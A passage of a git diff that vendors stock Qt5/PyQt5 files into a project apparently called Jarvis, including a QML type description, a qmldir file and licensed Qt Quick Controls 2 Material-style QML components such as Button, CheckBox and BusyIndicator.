isList: true; isReadonly: true } + Property { name: "children"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "z"; type: "double" } + Property { name: "width"; type: "double" } + Property { name: "height"; type: "double" } + Property { name: "opacity"; type: "double" } + Property { name: "enabled"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "visibleChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "states"; type: "QQuickState"; isList: true; isReadonly: true } + Property { name: "transitions"; type: "QQuickTransition"; isList: true; isReadonly: true } + Property { name: "state"; type: "string" } + Property { name: "childrenRect"; type: "QRectF"; isReadonly: true } + Property { name: "anchors"; type: "QQuickAnchors"; isReadonly: true; isPointer: true } + Property { name: "left"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "right"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "horizontalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "top"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "bottom"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "verticalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baseline"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baselineOffset"; type: "double" } + Property { name: "clip"; type: "bool" } + Property { name: "focus"; type: "bool" } + Property { name: "activeFocus"; type: "bool"; isReadonly: true } + Property { name: "activeFocusOnTab"; revision: 1; type: "bool" } + Property { name: "rotation"; type: "double" } + Property { name: "scale"; type: "double" } + Property { name: "transformOrigin"; type: "TransformOrigin" } + Property { name: "transformOriginPoint"; type: "QPointF"; isReadonly: true } + Property { name: "transform"; type: "QQuickTransform"; isList: true; isReadonly: true } + Property { name: "smooth"; type: "bool" } + Property { name: "antialiasing"; type: "bool" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "containmentMask"; revision: 11; type: "QObject"; isPointer: true } + Property { name: "layer"; type: "QQuickItemLayer"; isReadonly: true; isPointer: true } + Signal { + name: "childrenRectChanged" + Parameter { type: "QRectF" } + } + Signal { + name: "baselineOffsetChanged" + Parameter { type: "double" } + } + Signal { + name: "stateChanged" + Parameter { type: "string" } + } + Signal { + name: "focusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusOnTabChanged" + revision: 1 + Parameter { type: "bool" } + } + Signal { + name: "parentChanged" + Parameter { type: "QQuickItem"; isPointer: true } + } + Signal { + name: "transformOriginChanged" + Parameter { type: "TransformOrigin" } + } + Signal { + name: "smoothChanged" + Parameter { type: "bool" } + } + Signal { + name: "antialiasingChanged" + Parameter { type: "bool" } + } + Signal { + name: "clipChanged" + Parameter { type: "bool" } + } + Signal { + name: "windowChanged" + revision: 1 + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + Signal { name: "containmentMaskChanged"; revision: 11 } + Method { name: "update" } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + Parameter { name: "targetSize"; type: "QSize" } + } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + } + Method { + name: "contains" + type: "bool" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapFromItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapFromGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { name: "forceActiveFocus" } + Method { + name: "forceActiveFocus" + Parameter { name: "reason"; type: "Qt::FocusReason" } + } + Method { + name: "nextItemInFocusChain" + revision: 1 + type: "QQuickItem*" + Parameter { name: "forward"; type: "bool" } + } + Method { name: "nextItemInFocusChain"; revision: 1; type: "QQuickItem*" } + Method { + name: "childAt" + type: "QQuickItem*" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + name: "QQuickNinePatchImage" + defaultProperty: "data" + prototype: "QQuickImage" + exports: ["QtQuick.Controls.Imagine.impl/NinePatchImage 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "topPadding"; type: "double"; isReadonly: true } + Property { name: "leftPadding"; type: "double"; isReadonly: true } + Property { name: "rightPadding"; type: "double"; isReadonly: true } + Property { name: "bottomPadding"; type: "double"; isReadonly: true } + Property { name: "topInset"; type: "double"; isReadonly: true } + Property { name: "leftInset"; type: "double"; isReadonly: true } + Property { name: "rightInset"; type: "double"; isReadonly: true } + Property { name: "bottomInset"; type: "double"; isReadonly: true } + } + Component { + name: "QQuickNinePatchImageSelector" + prototype: "QQuickImageSelector" + exports: ["QtQuick.Controls.Imagine.impl/NinePatchImageSelector 2.3"] + exportMetaObjectRevisions: [0] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/qmldir new file mode 100644 index 00000000..7b4b3ea0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/qmldir @@ -0,0 +1,5 @@ +module QtQuick.Controls.Imagine +plugin qtquickcontrols2imaginestyleplugin +classname QtQuickControls2ImagineStylePlugin +depends QtQuick.Controls 2.5 +depends QtGraphicalEffects 1.0 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/qtquickcontrols2imaginestyleplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/qtquickcontrols2imaginestyleplugin.dll new file mode 100644 index 00000000..7cdb86de Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/qtquickcontrols2imaginestyleplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ItemDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ItemDelegate.qml new file mode 100644 index 00000000..6229e2bb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ItemDelegate.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.ItemDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 12 + spacing: 8 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.highlighted ? control.palette.highlightedText : control.palette.text + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 40 + visible: control.down || control.highlighted || control.visualFocus + color: Color.blend(control.down ? control.palette.midlight : control.palette.light, + control.palette.highlight, control.visualFocus ? 0.15 : 0.0) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Label.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Label.qml new file mode 100644 index 00000000..9a42635f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Label.qml @@ -0,0 +1,47 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Label { + id: control + + color: control.palette.windowText + linkColor: control.palette.link +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ApplicationWindow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ApplicationWindow.qml new file mode 100644 index 00000000..6a10ed7f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ApplicationWindow.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Window 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.ApplicationWindow { + id: window + + color: Material.backgroundColor + + overlay.modal: Rectangle { + color: window.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } + + overlay.modeless: Rectangle { + color: window.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/BoxShadow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/BoxShadow.qml new file mode 100644 index 00000000..5a746c0f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/BoxShadow.qml @@ -0,0 +1,70 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +/* + A implementation of CSS's box-shadow, used by ElevationEffect for a Material Design + elevation shadow effect. + */ +RectangularGlow { + // The 4 properties from CSS box-shadow, plus the inherited color property + property int offsetX + property int offsetY + property int blurRadius + property int spreadRadius + + // The source item the shadow is being applied to, used for correctly + // calculating the corner radious + property Item source + + property bool fullWidth + property bool fullHeight + + x: (parent.width - width)/2 + offsetX + y: (parent.height - height)/2 + offsetY + + implicitWidth: source ? source.width : parent.width + implicitHeight: source ? source.height : parent.height + + width: implicitWidth + 2 * spreadRadius + (fullWidth ? 2 * cornerRadius : 0) + height: implicitHeight + 2 * spreadRadius + (fullHeight ? 2 * cornerRadius : 0) + glowRadius: blurRadius/2 + spread: 0.05 + cornerRadius: blurRadius + (source && source.radius || 0) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/BusyIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/BusyIndicator.qml new file mode 100644 index 00000000..8173248c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/BusyIndicator.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.BusyIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + + contentItem: BusyIndicatorImpl { + implicitWidth: control.Material.touchTarget + implicitHeight: control.Material.touchTarget + color: control.Material.accentColor + + running: control.running + opacity: control.running ? 1 : 0 + Behavior on opacity { OpacityAnimator { duration: 250 } } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Button.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Button.qml new file mode 100644 index 00000000..04c6664c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Button.qml @@ -0,0 +1,118 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.Button { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topInset: 6 + bottomInset: 6 + padding: 12 + horizontalPadding: padding - 4 + spacing: 6 + + icon.width: 24 + icon.height: 24 + icon.color: !enabled ? Material.hintTextColor : + flat && highlighted ? Material.accentColor : + highlighted ? Material.primaryHighlightedTextColor : Material.foreground + + Material.elevation: flat ? control.down || control.hovered ? 2 : 0 + : control.down ? 8 : 2 + Material.background: flat ? "transparent" : undefined + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: !control.enabled ? control.Material.hintTextColor : + control.flat && control.highlighted ? control.Material.accentColor : + control.highlighted ? control.Material.primaryHighlightedTextColor : control.Material.foreground + } + + background: Rectangle { + implicitWidth: 64 + implicitHeight: control.Material.buttonHeight + + radius: 2 + color: !control.enabled ? control.Material.buttonDisabledColor : + control.highlighted ? control.Material.highlightedButtonColor : control.Material.buttonColor + + PaddedRectangle { + y: parent.height - 4 + width: parent.width + height: 4 + radius: 2 + topPadding: -2 + clip: true + visible: control.checkable && (!control.highlighted || control.flat) + color: control.checked && control.enabled ? control.Material.accentColor : control.Material.secondaryTextColor + } + + // The layer is disabled when the button color is transparent so you can do + // Material.background: "transparent" and get a proper flat button without needing + // to set Material.elevation as well + layer.enabled: control.enabled && control.Material.buttonColor.a > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + + Ripple { + clipRadius: 2 + width: parent.width + height: parent.height + pressed: control.pressed + anchor: control + active: control.down || control.visualFocus || control.hovered + color: control.flat && control.highlighted ? control.Material.highlightedRippleColor : control.Material.rippleColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CheckBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CheckBox.qml new file mode 100644 index 00000000..159e2f12 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CheckBox.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.CheckBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 8 + padding: 8 + verticalPadding: padding + 7 + + indicator: CheckIndicator { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + + Ripple { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 28; height: 28 + + z: -1 + anchor: control + pressed: control.pressed + active: control.down || control.visualFocus || control.hovered + color: control.checked ? control.Material.highlightedRippleColor : control.Material.rippleColor + } + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CheckDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CheckDelegate.qml new file mode 100644 index 00000000..c7d7575e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CheckDelegate.qml @@ -0,0 +1,98 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.CheckDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 16 + verticalPadding: 8 + spacing: 16 + + icon.width: 24 + icon.height: 24 + icon.color: enabled ? Material.foreground : Material.hintTextColor + + indicator: CheckIndicator { + x: control.text ? (control.mirrored ? control.leftPadding : control.width - width - control.rightPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: IconLabel { + leftPadding: !control.mirrored ? 0 : control.indicator.width + control.spacing + rightPadding: control.mirrored ? 0 : control.indicator.width + control.spacing + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + } + + background: Rectangle { + implicitHeight: control.Material.delegateHeight + + color: control.highlighted ? control.Material.listHighlightColor : "transparent" + + Ripple { + width: parent.width + height: parent.height + + clip: visible + pressed: control.pressed + anchor: control + active: control.down || control.visualFocus || control.hovered + color: control.Material.rippleColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CheckIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CheckIndicator.qml new file mode 100644 index 00000000..7caf8553 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CheckIndicator.qml @@ -0,0 +1,120 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +Rectangle { + id: indicatorItem + implicitWidth: 18 + implicitHeight: 18 + color: "transparent" + border.color: !control.enabled ? control.Material.hintTextColor + : checkState !== Qt.Unchecked ? control.Material.accentColor : control.Material.secondaryTextColor + border.width: checkState !== Qt.Unchecked ? width / 2 : 2 + radius: 2 + + property Item control + property int checkState: control.checkState + + Behavior on border.width { + NumberAnimation { + duration: 100 + easing.type: Easing.OutCubic + } + } + + Behavior on border.color { + ColorAnimation { + duration: 100 + easing.type: Easing.OutCubic + } + } + + // TODO: This needs to be transparent + Image { + id: checkImage + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 14 + height: 14 + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Material/images/check.png" + fillMode: Image.PreserveAspectFit + + scale: indicatorItem.checkState === Qt.Checked ? 1 : 0 + Behavior on scale { NumberAnimation { duration: 100 } } + } + + Rectangle { + x: 